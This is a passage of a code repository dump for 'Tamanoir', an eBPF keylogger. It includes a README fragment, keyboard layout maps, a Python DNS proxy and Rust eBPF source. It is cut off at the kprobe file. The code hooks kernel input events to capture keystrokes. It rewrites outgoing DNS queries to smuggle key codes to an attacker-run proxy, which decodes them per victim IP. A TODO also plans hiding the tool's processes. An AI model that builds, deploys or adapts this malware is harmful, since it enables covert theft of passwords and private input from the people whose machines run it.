image\n\n```\ncd proxy\ndocker build -t proxy .\n```\n\n#### 2. Run proxy\n\n> [!NOTE]\n> Make sure port 53 is available\n\n```\ndocker run --rm -it -p 53:53/udp -e PAYLOAD_LEN=8 proxy\n```\n\n<br>\n\n## 🛠️TODO\n\n- [ ] Automatic discovery of the configured local dns server\n- [ ] Automatic discovery of the keyboard layout\n- [ ] Rewrite the DNS proxy in Rust\n- [ ] Make `Tamanoir` stealth (hide used ebpf maps and programs, process pid ...)\n\n<br>\n\n## ⚠️ Disclaimer\n\n`Tamanoir` is developed for educational purposes only\n\n<br>\n\n## ✍️ Authors\n\n[Badr Badri](https://github.com/pythops)\n\n[Adrien Gaultier](https://github.com/adgaultier)\n\n<br>\n\n## ⚖️ License\n\nGPLv3\n"
  },
  {
    "path": "Release.md",
    "content": "## v0.1 - 2024-12-02\n\nFirst release 🎉\n"
  },
  {
    "path": "proxy/Dockerfile",
    "content": "FROM python:3.12-alpine\nRUN pip install dnslib PyYAML\nCOPY . .\nENTRYPOINT [ \"python\" ,\"main.py\" ]\n"
  },
  {
    "path": "proxy/azerty.yml",
    "content": "keys:\n  1: \"󱊷 \"\n  2: \"&\"\n  3: é\n  4: '\"'\n  5: \"'\"\n  6: (\n  7: \"-\"\n  8: è\n  9: _\n  10: ç\n  11: à\n  12: )\n  13: \"=\"\n  14: \"󰁮 \"\n  15: \" \"\n  16: a\n  17: z\n  18: e\n  19: r\n  20: t\n  21: \"y\"\n  22: u\n  23: i\n  24: o\n  25: p\n  26: \"^\"\n  27: $\n  28: \" enter \"\n  29: \" LCtrl+\"\n  30: q\n  31: s\n  32: d\n  33: f\n  34: g\n  35: h\n  36: j\n  37: k\n  38: l\n  39: m\n  40: ù\n  41: ²\n  42: \" Left󰘶+\"\n  43: \"*\"\n  44: w\n  45: x\n  46: c\n  47: v\n  48: b\n  49: \"n\"\n  50: \",\"\n  51: \";\"\n  52: \":\"\n  53: \"!\"\n  54: \" Right󰘶+\"\n  55: \"*\"\n  56: \" Alt+\"\n  57: \" \"\n  58: \" CapsLock \"\n  59: F1\n  60: F2\n  61: F3\n  62: F4\n  63: F5\n  64: F6\n  65: F7\n  66: F8\n  67: F9\n  68: F10\n  69: \" NumLock \"\n  86: \"<\"\n  100: \"Altgr+\"\n\nmod:\n  42:\n    50: \"?\"\n    51: \".\"\n    52: \"/\"\n    53: \"§\"\n    40: \"%\"\n    43: \"µ\"\n    26: \"¨\"\n    27: \"£\"\n    86: \">\"\n    2: \"1\"\n    3: \"2\"\n    4: \"3\"\n    5: \"4\"\n    6: \"5\"\n    7: \"6\"\n    8: \"7\"\n    9: \"8\"\n    10: \"9\"\n    11: \"0\"\n    12: \"°\"\n    13: \"+\"\n    16: A\n    17: Z\n    18: E\n    19: R\n    20: T\n    21: \"Y\"\n    22: U\n    23: I\n    24: O\n    25: P\n    30: Q\n    31: S\n    32: D\n    33: F\n    34: G\n    35: H\n    36: J\n    37: K\n    38: L\n    39: M\n    44: W\n    45: X\n    46: C\n    47: V\n    48: B\n    49: \"N\"\n  54:\n    50: \"?\"\n    51: \".\"\n    52: \"/\"\n    53: \"§\"\n    40: \"%\"\n    43: \"µ\"\n    26: \"¨\"\n    27: \"£\"\n    86: \">\"\n    2: \"1\"\n    3: \"2\"\n    4: \"3\"\n    5: \"4\"\n    6: \"5\"\n    7: \"6\"\n    8: \"7\"\n    9: \"8\"\n    10: \"9\"\n    11: \"0\"\n    12: \"°\"\n    13: \"+\"\n    16: A\n    17: Z\n    18: E\n    19: R\n    20: T\n    21: \"Y\"\n    22: U\n    23: I\n    24: O\n    25: P\n    30: Q\n    31: S\n    32: D\n    33: F\n    34: G\n    35: H\n    36: J\n    37: K\n    38: L\n    39: M\n    44: W\n    45: X\n    46: C\n    47: V\n    48: B\n    49: \"N\"\n  100:\n    3: \"~\"\n    4: \"#\"\n    5: \"{\"\n    6: \"[\"\n    7: \"|\"\n    8: \"`\"\n    9: \"\\\\\"\n    10: \"^\"\n    11: \"@\"\n    12: \"]\"\n    13: \"}\"\n    18: €\n"
  },
  {
    "path": "proxy/main.py",
    "content": "import argparse\nimport os\nimport socket\nimport time\n\nimport yaml\nfrom dnslib import QTYPE, RCODE, DNSRecord\nfrom dnslib.server import BaseResolver, DNSHandler, DNSLogger, DNSServer\n\nqw_key_map = yaml.safe_load(open(\"qwerty.yml\"))\naz_key_map = yaml.safe_load(open(\"azerty.yml\"))\nkey_maps = {0: qw_key_map, 1: az_key_map}\n\nmods_str_rep = {\n    k: {v[\"keys\"][mod]: mod for mod in v[\"mod\"]} for k, v in key_maps.items()\n}\nkeys = {}\nPAYLOAD_LEN = int(os.environ[\"PAYLOAD_LEN\"])\n\n\nclass ProxyResolver(BaseResolver):\n    def __init__(self, address, port, timeout=0, strip_aaaa=False):\n        self.address = address\n        self.port = port\n        self.timeout = timeout\n        self.strip_aaaa = strip_aaaa\n\n    def resolve(self, request, handler):\n        try:\n            if self.strip_aaaa and request.q.qtype == QTYPE.AAAA:\n                reply = request.reply()\n                reply.header.rcode = RCODE.NXDOMAIN\n            else:\n                if handler.protocol == \"udp\":\n                    proxy_r = request.send(\n                        self.address, self.port, timeout=self.timeout\n                    )\n                else:\n                    proxy_r = request.send(\n                        self.address, self.port, tcp=True, timeout=self.timeout\n                    )\n                reply = DNSRecord.parse(proxy_r)\n        except socket.timeout:\n            reply = request.reply()\n            reply.header.rcode = getattr(RCODE, \"NXDOMAIN\")\n\n        return reply\n\n\nclass PassthroughDNSHandler(DNSHandler):\n    def get_reply(self, data):\n        host, port = self.server.resolver.address, self.server.resolver.port\n        client_ip = str(self.client_address[0])\n        if not keys.get(client_ip):\n            keys[client_ip] = []\n\n        try:\n            payload = data[-PAYLOAD_LEN:]\n            key_events = zip(payload[::2], payload[1::2])\n            for layout, code in key_events:\n                if key_map := key_maps.get(layout):\n                    if (\n                        len(keys[client_ip]) > 0\n                        and keys[client_ip][-1] in mods_str_rep[layout]\n                    ):\n                        last_mod_str = keys[client_ip].pop()\n                        mod = mods_str_rep[layout][last_mod_str]\n                        keys[client_ip].append(\n                            key_map[\"mod\"][mod].get(\n                                code, f\"{last_mod_str} {key_map['keys'].get(code, '')} \"\n                            )\n                        )\n                    else:\n                        keys[client_ip].append(key_map[\"keys\"].get(code, \"\"))\n\n            res = {}\n            for client_ip, k in keys.items():\n                res[client_ip] = \"\".join(k)\n            os.system(\"clear\")\n            for c, k in res.items():\n                print(f\"{c}: {k}\")\n\n        except Exception as e:\n            print(e)\n            pass\n\n        data = bytearray(data[:-PAYLOAD_LEN])\n        # add recursion byte\n        data[2:4] = bytes.fromhex(\"0120\")\n\n        request = DNSRecord.parse(bytes(data))\n        self.server.logger.log_request(self, request)\n        response = send_udp(data, host, port)\n        reply = DNSRecord.parse(response)\n        self.server.logger.log_reply(self, reply)\n        return response\n\n\ndef send_udp(data, host, port):\n    sock = None\n    try:\n        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        sock.sendto(data, (host, port))\n        response, _ = sock.recvfrom(8192)\n        return response\n    finally:\n        if sock is not None:\n            sock.close()\n\n\nif __name__ == \"__main__\":\n    p = argparse.ArgumentParser(description=\"DNS Proxy\")\n    p.add_argument(\n        \"--port\",\n        \"-p\",\n        type=int,\n        default=53,\n        metavar=\"<port>\",\n        help=\"Local proxy port (default:53)\",\n    )\n    p.add_argument(\n        \"--address\",\n        \"-a\",\n        default=\"\",\n        metavar=\"<address>\",\n        help=\"Local proxy listen address (default:all)\",\n    )\n    p.add_argument(\n        \"--upstream\",\n        \"-u\",\n        default=\"8.8.8.8:53\",\n        metavar=\"<dns server:port>\",\n        help=\"Upstream DNS server:port (default:8.8.8.8:53)\",\n    )\n\n    p.add_argument(\n        \"--log\",\n        default=\"error\",\n        help=\"Log hooks to enable (default: +error)\",\n    )\n\n    args = p.parse_args()\n\n    dns, _, dns_port = args.upstream.partition(\":\")\n    dns_port = int(dns_port or 53)\n\n    print(\n        \"Starting Proxy Resolver (%s:%d -> %s:%d) [%s]\"\n        % (\n            args.address or \"*\",\n            args.port,\n            dns,\n            dns_port,\n            \"UDP\",\n        )\n    )\n\n    udp_server = DNSServer(\n        ProxyResolver(dns, dns_port, timeout=5, strip_aaaa=False),\n        port=args.port,\n        address=args.address,\n        logger=DNSLogger(args.log, prefix=True),\n        handler=PassthroughDNSHandler,\n    )\n    udp_server.start()\n\n    while udp_server.isAlive():\n        time.sleep(1)\n"
  },
  {
    "path": "proxy/qwerty.yml",
    "content": "keys:\n  2: \"1\"\n  3: \"2\"\n  4: \"3\"\n  5: \"4\"\n  6: \"5\"\n  7: \"6\"\n  8: \"7\"\n  9: \"8\"\n  10: \"9\"\n  11: \"0\"\n  30: \"a\"\n  48: \"b\"\n  46: \"c\"\n  32: \"d\"\n  18: \"e\"\n  33: \"f\"\n  34: \"g\"\n  35: \"h\"\n  23: \"i\"\n  36: \"j\"\n  37: \"k\"\n  38: \"l\"\n  50: \"m\"\n  49: \"n\"\n  24: \"o\"\n  25: \"p\"\n  16: \"q\"\n  19: \"r\"\n  31: \"s\"\n  20: \"t\"\n  22: \"u\"\n  47: \"v\"\n  17: \"w\"\n  45: \"x\"\n  21: \"y\"\n  44: \"z\"\n  1: \"󱊷 \"\n  15: \" \"\n  12: \"-\"\n  13: \"=\"\n  14: \"󰁮 \"\n  26: \"[\"\n  27: \"]\"\n  28: \" enter \"\n  29: \" LCtrl+\"\n  39: \";\"\n  40: \"'\"\n  41: \"`\"\n  42: \"Left󰘶+\"\n  43: \"\\\\\"\n  51: \",\"\n  52: \".\"\n  53: \"/\"\n  54: \" Right󰘶+\"\n  55: \"*\"\n  56: \" Alt+\"\n  57: \" \"\n  58: \" CapsLock \"\n  69: \" NumLock \"\n  86: \"<\"\n  100: \" Altgr+\"\nmod:\n  42:\n    30: \"A\"\n    48: \"B\"\n    46: \"C\"\n    32: \"D\"\n    18: \"E\"\n    33: \"F\"\n    34: \"G\"\n    35: \"H\"\n    23: \"I\"\n    36: \"J\"\n    37: \"K\"\n    38: \"L\"\n    50: \"M\"\n    49: \"N\"\n    24: \"O\"\n    25: \"P\"\n    16: \"Q\"\n    19: \"R\"\n    31: \"S\"\n    20: \"T\"\n    22: \"Y\"\n    47: \"V\"\n    17: \"W\"\n    45: \"X\"\n    21: \"Y\"\n    44: \"Z\"\n    41: \"~\"\n    2: \"!\"\n    3: \"@\"\n    4: \"#\"\n    5: \"$\"\n    6: \"%\"\n    7: \"^\"\n    8: \"&\"\n    9: \"*\"\n    10: \"(\"\n    11: \")\"\n    12: \"_\"\n    13: \"+\"\n    26: \"{\"\n    27: \"}\"\n    51: \"<\"\n    52: \">\"\n    53: \"?\"\n    39: \":\"\n    40: '\"'\n    43: \"|\"\n  54:\n    30: \"A\"\n    48: \"B\"\n    46: \"C\"\n    32: \"D\"\n    18: \"E\"\n    33: \"F\"\n    34: \"G\"\n    35: \"H\"\n    23: \"I\"\n    36: \"J\"\n    37: \"K\"\n    38: \"L\"\n    50: \"M\"\n    49: \"N\"\n    24: \"O\"\n    25: \"P\"\n    16: \"Q\"\n    19: \"R\"\n    31: \"S\"\n    20: \"T\"\n    22: \"Y\"\n    47: \"V\"\n    17: \"W\"\n    45: \"X\"\n    21: \"Y\"\n    44: \"Z\"\n    41: \"~\"\n    2: \"!\"\n    3: \"@\"\n    4: \"#\"\n    5: \"$\"\n    6: \"%\"\n    7: \"^\"\n    8: \"&\"\n    9: \"*\"\n    10: \"(\"\n    11: \")\"\n    12: \"_\"\n    13: \"+\"\n    26: \"{\"\n    27: \"}\"\n    51: \"<\"\n    52: \">\"\n    53: \"?\"\n    39: \":\"\n    40: '\"'\n    43: \"|\"\n"
  },
  {
    "path": "rustfmt.toml",
    "content": "group_imports = \"StdExternalCrate\"\nimports_granularity = \"Crate\"\nreorder_imports = true\nunstable_features = true\n"
  },
  {
    "path": "tamanoir/Cargo.toml",
    "content": "[package]\nname = \"tamanoir\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nclap = { version = \"4\", default-features = true, features = [\n  \"derive\",\n  \"cargo\",\n] }\nanyhow = \"1\"\naya = { workspace = true }\naya-log = { workspace = true }\nenv_logger = { workspace = true }\nlibc = { workspace = true }\nlog = { workspace = true }\ntokio = { workspace = true, features = [\n  \"macros\",\n  \"rt\",\n  \"rt-multi-thread\",\n  \"net\",\n  \"signal\",\n] }\n\n[[bin]]\nname = \"tamanoir\"\npath = \"src/main.rs\"\n"
  },
  {
    "path": "tamanoir/src/main.rs",
    "content": "use std::net::Ipv4Addr;\n\nuse aya::{\n    programs::{tc, KProbe, SchedClassifier, TcAttachType},\n    EbpfLoader,\n};\nuse clap::Parser;\nuse log::{debug, warn};\nuse tokio::signal;\n\n#[derive(Debug, Parser)]\nstruct Opt {\n    #[clap(short, long, default_value = \"wlan0\")]\n    iface: String,\n\n    #[clap(long, required = true)]\n    proxy_ip: Ipv4Addr,\n\n    #[clap(long, required = true)]\n    hijack_ip: Ipv4Addr,\n\n    #[clap(long, default_value_t = 0)]\n    layout: u8,\n}\n\n#[tokio::main]\nasync fn main() -> anyhow::Result<()> {\n    env_logger::init();\n\n    let Opt {\n        iface,\n        proxy_ip,\n        hijack_ip,\n        layout,\n    } = Opt::parse();\n\n    let rlim = libc::rlimit {\n        rlim_cur: libc::RLIM_INFINITY,\n        rlim_max: libc::RLIM_INFINITY,\n    };\n    let ret = unsafe { libc::setrlimit(libc::RLIMIT_MEMLOCK, &rlim) };\n    if ret != 0 {\n        debug!(\"remove limit on locked memory failed, ret is: {}\", ret);\n    }\n\n    let proxy_ip = proxy_ip.to_bits();\n    let hijack_ip = hijack_ip.to_bits();\n\n    let mut ebpf = EbpfLoader::new()\n        .set_global(\"TARGET_IP\", &proxy_ip, true)\n        .set_global(\"HIJACK_IP\", &hijack_ip, true)\n        .set_global(\"KEYBOARD_LAYOUT\", &layout, true)\n        .load(aya::include_bytes_aligned!(\n            \"../../target/bpfel-unknown-none/release/tamanoir\"\n        ))?;\n\n    if let Err(e) = aya_log::EbpfLogger::init(&mut ebpf) {\n        warn!(\"failed to initialize eBPF logger: {}\", e);\n    }\n\n    let _ = tc::qdisc_add_clsact(&iface);\n\n    let tc_program_egress: &mut SchedClassifier =\n        ebpf.program_mut(\"tamanoir_egress\").unwrap().try_into()?;\n\n    tc_program_egress.load()?;\n    tc_program_egress.attach(&iface, TcAttachType::Egress)?;\n\n    let tc_program_ingress: &mut SchedClassifier =\n        ebpf.program_mut(\"tamanoir_ingress\").unwrap().try_into()?;\n\n    tc_program_ingress.load().unwrap();\n    tc_program_ingress.attach(&iface, TcAttachType::Ingress)?;\n\n    let program: &mut KProbe = ebpf.program_mut(\"tamanoir_kprobe\").unwrap().try_into()?;\n    program.load()?;\n    program.attach(\"input_handle_event\", 0)?;\n\n    let ctrl_c = signal::ctrl_c();\n    println!(\"Waiting for Ctrl-C...\");\n    ctrl_c.await?;\n    println!(\"Exiting...\");\n\n    Ok(())\n}\n"
  },
  {
    "path": "tamanoir-ebpf/.cargo/config.toml",
    "content": "[build]\ntarget = [\"bpfeb-unknown-none\", \"bpfel-unknown-none\"]\n\n[unstable]\nbuild-std = [\"core\"]\n"
  },
  {
    "path": "tamanoir-ebpf/Cargo.toml",
    "content": "[package]\nname = \"tamanoir-ebpf\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\naya-ebpf = { workspace = true }\naya-log-ebpf = { workspace = true }\nnetwork-types = \"*\"\nflex-dns = \"1.0.1\"\n\n[[bin]]\nname = \"tamanoir\"\npath = \"src/main.rs\"\n"
  },
  {
    "path": "tamanoir-ebpf/rust-toolchain.toml",
    "content": "[toolchain]\nchannel = \"nightly\"\ncomponents = [\"rust-src\"]\n"
  },
  {
    "path": "tamanoir-ebpf/src/common.rs",
    "content": "use aya_ebpf::{\n    helpers::{bpf_skb_load_bytes, bpf_skb_store_bytes},\n    macros::map,\n    maps::Queue,\n    programs::TcContext,\n};\nuse aya_log_ebpf::{debug, error, info};\nuse network_types::{eth::EthHdr, ip::Ipv4Hdr};\n\n#[no_mangle]\npub static TARGET_IP: u32 = 0;\n\n#[no_mangle]\npub static HIJACK_IP: u32 = 0;\n\n#[no_mangle]\npub static KEYBOARD_LAYOUT: u8 = 0;\n\npub const IP_OFFSET: usize = EthHdr::LEN;\npub const IP_TOT_LEN_OFFSET: usize = IP_OFFSET + 2;\npub const IP_CSUM_OFFSET: usize = IP_OFFSET + 10;\npub const IP_SRC_ADDR_OFFSET: usize = IP_OFFSET + 12;\npub const IP_DEST_ADDR_OFFSET: usize = IP_OFFSET + 16;\npub const UDP_OFFSET: usize = IP_OFFSET + Ipv4Hdr::LEN;\npub const UDP_DEST_PORT_OFFSET: usize = UDP_OFFSET + 2;\npub const UDP_LEN_OFFSET: usize = UDP_OFFSET + 4;\npub const UDP_CSUM_OFFSET: usize = UDP_OFFSET + 6;\npub const DNS_QUERY_OFFSET: usize = UDP_OFFSET + 8;\n\npub const BPF_ADJ_ROOM_NET: u32 = 0;\n\npub const KEYS_EVENTS_LEN: usize = 4;\npub const KEYS_PAYLOAD_LEN: usize = 2 * KEYS_EVENTS_LEN;\npub const DNS_PAYLOAD_MAX_LEN: usize = 128;\n\n//TODO: define keyboard layout as enum\n#[derive(Default, Copy, Clone)]\n#[repr(C)]\npub struct KeyEvent {\n    pub layout: u8, // 0:qwerty 1: azerty\n    pub key: u8,\n}\n#[map]\npub static DATA: Queue<KeyEvent> = Queue::with_max_entries(4096, 0);\n\npub enum UpdateType {\n    Src,\n    Dst,\n}\n\npub fn update_addr(\n    ctx: &mut TcContext,\n    old_be: &u32,\n    new_be: &u32,\n    update_type: UpdateType,\n) -> Result<(), i64> {\n    let offset = match update_type {\n        UpdateType::Src => {\n            debug!(ctx, \"updating src addr\");\n            IP_SRC_ADDR_OFFSET\n        }\n        UpdateType::Dst => {\n            debug!(ctx, \"updating dst addr\");\n            IP_DEST_ADDR_OFFSET\n        }\n    };\n    ctx.store(offset, new_be, 0).map_err(|_| {\n        error!(ctx, \"error writing new address \");\n        -1\n    })?;\n    debug!(\n        ctx,\n        \"update addr: {} => {} \",\n        u32::from_be(*old_be),\n        u32::from_be(*new_be)\n    );\n\n    ctx.l3_csum_replace(IP_CSUM_OFFSET, *old_be as u64, *new_be as u64, 4)\n        .map_err(|_| {\n            error!(ctx, \"error: l3_csum_replace\");\n            -1\n        })?;\n    Ok(())\n}\n\npub fn _update_port(\n    ctx: &mut TcContext,\n    old_be: &u16,\n    new_be: &u16,\n    update_type: UpdateType,\n) -> Result<(), i64> {\n    let offset = match update_type {\n        UpdateType::Src => {\n            info!(ctx, \"updating src port\");\n            UDP_OFFSET\n        }\n        UpdateType::Dst => {\n            info!(ctx, \"updating dst port\");\n            UDP_DEST_PORT_OFFSET\n        }\n    };\n    debug!(\n        ctx,\n        \"update port: {} => {} at the offset {}\",\n        u16::from_be(*old_be),\n        u16::from_be(*new_be),\n        offset\n    );\n    ctx.store(offset, new_be, 0).map_err(|_| {\n        error!(ctx, \"error writing new port\");\n        -1\n    })?;\n\n    Ok(())\n}\n\npub fn update_udp_hdr_len(ctx: &mut TcContext, new_be: &u16) -> Result<(), i64> {\n    debug!(ctx, \"updating udphdr len:\");\n    ctx.store(UDP_LEN_OFFSET, new_be, 0).map_err(|_| {\n        error!(ctx, \"error writing new udp hdr len \");\n        -1\n    })?;\n    Ok(())\n}\n\npub fn update_ip_hdr_tot_len(ctx: &mut TcContext, old_be: &u16, new_be: &u16) -> Result<(), i64> {\n    debug!(ctx, \"updating iphdr tot len:\");\n    ctx.store(IP_TOT_LEN_OFFSET, new_be, 0).map_err(|_| {\n        error!(ctx, \"error writing iphdr tot len \");\n        -1\n    })?;\n    ctx.l3_csum_replace(IP_CSUM_OFFSET, *old_be as u64, *new_be as u64, 4)\n        .map_err(|_| {\n            error!(ctx, \"error: l3_csum_replace\");\n            -1\n        })?;\n\n    Ok(())\n}\n\npub fn inject_keys(\n    ctx: &mut TcContext,\n    offset: usize,\n    payload: [u8; KEYS_PAYLOAD_LEN],\n) -> Result<(), i32> {\n    for (idx, k) in payload.iter().enumerate() {\n        ctx.store(offset + idx, &k.to_be(), 0).map_err(|_| {\n            error!(ctx, \"error injecting payload\");\n            -1\n        })?;\n    }\n    Ok(())\n}\n\npub fn load_bytes(ctx: &mut TcContext, offset: usize, dst: &mut [u8]) -> Result<usize, i64> {\n    let len = usize::try_from(ctx.skb.len()).map_err(|core::num::TryFromIntError { .. }| -1)?;\n    let len = len.checked_sub(offset).ok_or(-1)?;\n    let len = len.min(dst.len());\n    if len == 0 {\n        return Err(-1);\n    }\n    debug!(ctx, \"loading {} bytes\", len);\n\n    let len_u32 = u32::try_from(len).map_err(|core::num::TryFromIntError { .. }| -1)?;\n    let ret = unsafe {\n        bpf_skb_load_bytes(\n            ctx.skb.skb as *const _,\n            offset as u32,\n            dst.as_mut_ptr() as *mut _,\n            len_u32,\n        )\n    };\n    if ret == 0 {\n        Ok(len)\n    } else {\n        Err(ret)\n    }\n}\n\npub fn store_bytes(\n    ctx: &mut TcContext,\n    offset: usize,\n    src: &[u8],\n    flags: u64,\n) -> Result<usize, i64> {\n    let len = usize::try_from(ctx.skb.len()).map_err(|core::num::TryFromIntError { .. }| -1)?;\n    let len = len.checked_sub(offset).ok_or(-1)?;\n    let len = len.min(src.len());\n\n    let len_u32 = u32::try_from(len).map_err(|core::num::TryFromIntError { .. }| -1)?;\n    if len_u32 == 0 {\n        return Err(-1);\n    }\n\n    debug!(ctx, \"storing {} bytes\", len_u32);\n    unsafe {\n        let ret = bpf_skb_store_bytes(\n            ctx.skb.skb as *mut _,\n            offset as u32,\n            src as *const _ as *const _,\n            len_u32,\n            flags,\n        );\n        if ret == 0 {\n            Ok(len)\n        } else {\n            Err(ret)\n        }\n    }\n}\n"
  },
  {
    "path": "tamanoir-ebpf/src/egress.rs",
    "content": "use core::net::Ipv4Addr;\n\nuse aya_ebpf::{\n    bindings::TC_ACT_PIPE,\n    macros::{classifier, map},\n    maps::PerCpuArray,\n    programs::TcContext,\n};\nuse aya_log_ebpf::{debug, error, info};\nuse network_types::{\n    eth::{EthHdr, EtherType},\n    ip::{IpProto, Ipv4Hdr},\n    udp::UdpHdr,\n};\n\nuse crate::common::{\n    inject_keys, load_bytes, store_bytes, update_addr, update_ip_hdr_tot_len, update_udp_hdr_len,\n    UpdateType, BPF_ADJ_ROOM_NET, DATA, DNS_PAYLOAD_MAX_LEN, DNS_QUERY_OFFSET, HIJACK_IP,\n    KEYS_EVENTS_LEN, KEYS_PAYLOAD_LEN, TARGET_IP, UDP_DEST_PORT_OFFSET, UDP_OFFSET,\n};\n\npub struct Buf {\n    pub buf: [u8; DNS_PAYLOAD_MAX_LEN + KEYS_PAYLOAD_LEN],\n}\n\n#[map]\npub static DNS_BUFFER: PerCpuArray<Buf> = PerCpuArray::with_max_entries(1, 0);\n\n#[classifier]\npub fn tamanoir_egress(mut ctx: TcContext) -> i32 {\n    match tc_process_egress(&mut ctx) {\n        Ok(ret) => ret,\n        Err(_) => TC_ACT_PIPE,\n    }\n}\n\nfn read_keys() -> [u8; KEYS_PAYLOAD_LEN] {\n    let mut res = [0u8; KEYS_PAYLOAD_LEN];\n    for k in 0..KEYS_EVENTS_LEN {\n        let item = DATA.pop().unwrap_or_default();\n        res[2 * k] = item.layout;\n        res[2 * k + 1] = item.key;\n    }\n    res\n}\n\nfn tc_process_egress(ctx: &mut TcContext) -> Result<i32, i64> {\n    let target_ip: u32 = unsafe { core::ptr::read_volatile(&TARGET_IP) };\n    let hijack_ip: u32 = unsafe { core::ptr::read_volatile(&HIJACK_IP) };\n    let ethhdr: EthHdr = ctx.load(0)?;\n    if let EtherType::Ipv4 = ethhdr.ether_type {\n        let header = ctx.load::<Ipv4Hdr>(EthHdr::LEN)?;\n        let addr = header.dst_addr;\n        if let IpProto::Udp = header.proto {\n            if u32::from_be(addr) == hijack_ip {\n                info!(ctx, \"\\n-----\\nNew intercepted request:\\n-----\");\n\n                let udp_hdr = &ctx.load::<UdpHdr>(UDP_OFFSET)?;\n                debug!(\n                    ctx,\n                    \"{}:{} -> {}:{}\",\n                    Ipv4Addr::from_bits(u32::from_be(header.src_addr)),\n                    u16::from_be(udp_hdr.source),\n                    Ipv4Addr::from_bits(u32::from_be(header.dst_addr)),\n                    u16::from_be(udp_hdr.dest),\n                );\n                let dns_payload_len = (ctx.len() as usize)\n                    .checked_sub(DNS_QUERY_OFFSET)\n                    .ok_or(-1)?;\n\n                if dns_payload_len < DNS_PAYLOAD_MAX_LEN {\n                    let keys = read_keys();\n                    debug!(ctx, \"Fetch keys from the queue\");\n\n                    let buf = unsafe {\n                        let ptr = DNS_BUFFER.get_ptr_mut(0).ok_or(-1)?;\n                        &mut (*ptr).buf\n                    };\n                    load_bytes(ctx, DNS_QUERY_OFFSET, buf)?;\n\n                    update_addr(ctx, &addr, &target_ip.to_be(), UpdateType::Dst)?;\n                    update_ip_hdr_tot_len(\n                        ctx,\n                        &header.tot_len,\n                        &(u16::from_be(header.tot_len) + KEYS_PAYLOAD_LEN as u16).to_be(),\n                    )?;\n\n                    //make room\n                    debug!(ctx, \"adjust room\");\n                    ctx.skb\n                        .adjust_room(KEYS_PAYLOAD_LEN as i32, BPF_ADJ_ROOM_NET, 0)\n                        .inspect_err(|_| {\n                            error!(ctx, \"error adjusting room\");\n                        })?;\n\n                    // move udp header\n                    let udp_hdr_bytes = ctx.load::<[u8; 8]>(UDP_OFFSET + KEYS_PAYLOAD_LEN)?;\n                    store_bytes(ctx, UDP_OFFSET, &udp_hdr_bytes, 0)?;\n\n                    update_udp_hdr_len(\n                        ctx,\n                        &(u16::from_be(udp_hdr.len) + KEYS_PAYLOAD_LEN as u16).to_be(),\n                    )?;\n\n                    //move dns payload\n                    let buf = unsafe {\n                        let ptr = DNS_BUFFER.get_ptr(0).ok_or(-1)?;\n                        &(*ptr).buf\n                    };\n                    debug!(ctx, \"injecting dns payload  @{}  \", DNS_QUERY_OFFSET);\n                    store_bytes(ctx, DNS_QUERY_OFFSET, buf, 0)?;\n                    inject_keys(ctx, DNS_QUERY_OFFSET + dns_payload_len, keys)?;\n\n                    //set current csum to 0\n                    ctx.store(crate::common::UDP_CSUM_OFFSET, &0u16, 2)\n                        .map_err(|_| {\n                            error!(ctx, \"error zeroing L4 csum\");\n                            -1\n                        })?;\n\n                    info!(\n                        ctx,\n                        \" {}:{} -> {}:{}\",\n                        Ipv4Addr::from_bits(u32::from_be(\n                            (ctx.load::<Ipv4Hdr>(EthHdr::LEN).unwrap()).src_addr,\n                        )),\n                        u16::from_be(ctx.load::<u16>(UDP_OFFSET).unwrap()),\n                        Ipv4Addr::from_bits(u32::from_be(\n                            (ctx.load::<Ipv4Hdr>(EthHdr::LEN).unwrap()).dst_addr\n                        )),\n                        u16::from_be(ctx.load::<u16>(UDP_DEST_PORT_OFFSET).unwrap())\n                    );\n                };\n            }\n        };\n    }\n\n    Ok(TC_ACT_PIPE)\n}\n"
  },
  {
    "path": "tamanoir-ebpf/src/ingress.rs",
    "content": "use core::net::Ipv4Addr;\n\nuse aya_ebpf::{\n    bindings::{TC_ACT_OK, TC_ACT_PIPE},\n    macros::classifier,\n    programs::TcContext,\n};\nuse aya_log_ebpf::{error, info};\nuse network_types::{\n    eth::{EthHdr, EtherType},\n    ip::{IpProto, Ipv4Hdr},\n};\n\nuse crate::common::{\n    update_addr, UpdateType, HIJACK_IP, IP_SRC_ADDR_OFFSET, TARGET_IP, UDP_CSUM_OFFSET, UDP_OFFSET,\n};\n\n#[classifier]\npub fn tamanoir_ingress(mut ctx: TcContext) -> i32 {\n    match tc_process_ingress(&mut ctx) {\n        Ok(ret) => ret,\n        Err(_) => TC_ACT_PIPE,\n    }\n}\n\n#[inline]\nfn tc_process_ingress(ctx: &mut TcContext) -> Result<i32, i64> {\n    let target_ip: u32 = unsafe { core::ptr::read_volatile(&TARGET_IP) };\n    let hijack_ip: u32 = unsafe { core::ptr::read_volatile(&HIJACK_IP) };\n\n    let ethhdr: EthHdr = ctx.load(0)?;\n    if let EtherType::Ipv4 = ethhdr.ether_type {\n        let header = ctx.load::<Ipv4Hdr>(EthHdr::LEN)?;\n        let addr = header.src_addr;\n        if let IpProto::Udp = header.proto {\n            if u32::from_be(addr) == target_ip {\n                info!(ctx, \"\\n-----\\nNew intercepted request:\\n-----\");\n                let udp_port = &ctx.load::<u16>(UDP_OFFSET)?;\n                update_addr(ctx, &addr, &hijack_ip.to_be(), UpdateType::Src)?;\n                // necessary on some when sockopt SO_NO_CHECK isn't set\n                ctx.l4_csum_replace(UDP_CSUM_OFFSET, addr as u64, hijack_ip as u64, 4)\n                    .map_err(|_| {\n                        error!(ctx, \"error: l4_csum_replace\");\n                        -1\n                    })?;\n\n                info!(\n                    ctx,\n                    \"{}:{} -> {}:{}\",\n                    Ipv4Addr::from_bits(u32::from_be(addr)),\n                    u16::from_be(*udp_port),\n                    Ipv4Addr::from_bits(u32::from_be(ctx.load::<u32>(IP_SRC_ADDR_OFFSET).unwrap())),\n                    u16::from_be(ctx.load::<u16>(UDP_OFFSET).unwrap()),\n                );\n            }\n        };\n    }\n\n    Ok(TC_ACT_OK)\n}\n"
  },
  {
    "path": "tamanoir-ebpf/src/kprobe.rs",
